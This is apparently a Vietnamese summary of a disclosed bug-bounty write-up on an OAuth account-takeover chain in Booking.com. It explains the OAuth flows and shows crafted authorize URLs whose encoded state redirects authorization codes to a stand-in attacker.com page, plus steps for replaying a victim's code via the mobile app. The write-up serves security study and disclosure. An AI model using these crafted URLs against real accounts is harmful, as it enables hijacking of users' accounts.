Bài viết này mô tả khá dễ hiểu hai luồng OAuth phổ biến là Implicit Flow và Authorization Code Flow cũng như là các cách khai thác lỗ hổng liên quan đến OAuth xảy ra trong Booking.com

How Does OAuth Work for Authentication?

Minh họa cho Implicit Flow:

How OAuth Works in Booking.com

Booking.com sử dụng Authorization Code Flow:

Account Takeover on Booking.com

Booking.com cho phép sử dụng redirect_uri với bất kỳ path nào mà ta muốn:

Tìm được lổ hổng Open Redirect ở chức năng thêm Display Name:

URL dùng để thêm Display Name có dạng:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9

Với giá trị của state khi được decode ra sẽ là:

{
	"mysettings_path": "/mysettings/personal",
	"aid": "123"
}

Và nó sẽ redirect về:

https://account.booking.com/mysettings/personal

Bằng cách thay đổi field mysettings_path và encode lại rồi truyền vào state của endpoint /oauth2/authorize, ta có thể thực hiện redirect về một absolute URL mà ta mong muốn:

{
	"mysettings_path": "https://www.attacker.com/index.php",
	"aid": "123"
}

Như vậy, URL hoàn chỉnh:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476

Có một vấn đề: giá trị code khi được redirect sẽ nằm trong query param của redirect_uri đầu tiên chứ không nằm trong https://www.attacker.com/index.php. Chỉ khi nào code nằm trong hash fragment (sau dấu #) thì nó mới được truyền đến https://www.attacker.com/index.php. Để giải quyết điều này, ta có thể thay đổi response_type thành code,token.

Lý do mà Implicit Flow sử dụng hash fragment để lưu token là vì nó chỉ có thể được đọc bởi JavaScript ở client-side và không được gửi đến server cũng như là lưu ở trong log.

Minh họa:

Ở trang index.php, kẻ tấn công sẽ viết một đoạn script JavaScript nhằm để lấy code.

Account Takeover Attempt 1

Sau khi có code thì ta sẽ intercept một authorization request bất kỳ để chèn code vào nhằm hoàn thành OAuth flow. Tuy nhiên, khi sử dụng code của victim để lấy access token trong URL sau:

https://account.booking.com/social/result/facebook?code={victim_code}&state=[large_object]

Hệ thống trả về “Invalid code”.

Debugging the Account Takeover Failure — What Did We Miss?

Theo tài liệu của Facebook, redirect_uri trong access token request (request dùng code để lấy access token) phải giống với redirect_uri dùng trong request đầu tiên (authorization request). Tuy nhiên, do Booking.com gán cứng redirect_uri trong access token request là https://account.booking.com/social/result/facebook nên nó quăng lỗi.

Finding Security Gap 3

Tiến hành nghiên cứu luồng OAuth ở trên ứng dụng di động sử dụng Android Studio, Frida (để bypass SSL pinning) và decompiler. Luồng OAuth có dạng như sau:

Có thể thấy, từ bước 3 đến bước 6, giá trị code được truyền từ Facebook đến Chrome, sau đó đến Booking.com, về lại application rồi qua Booking.com một lần nữa. Ở bước 6, application gửi code thông qua một POST request:

Giá trị resultUri sẽ được truyền vào redirect_uri của access token request gửi đến Facebook. Có thể nói, đây chính là request ở back channel sử dụng giá trị gán cứng https://account.booking.com/social/result/facebook mà khiến cho ta gặp lỗi khi sử dụng ứng dụng web. Giờ đây, khi có thể kiểm soát được request này, ta sẽ thay resultUri thành đường dẫn mà sẽ thực hiện redirect như ta mong muốn:

https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

Các bước tấn công:

  • Đăng nhập vào Booking.com sử dụng tài khoản của kẻ tấn công ở trên ứng dụng.
  • Intercept request ở bước 6.
  • Thay thế code của nạn nhân vào.
  • Thay thế resultURi thành đường dẫn trên để Facebook không quăng lỗi.

Resources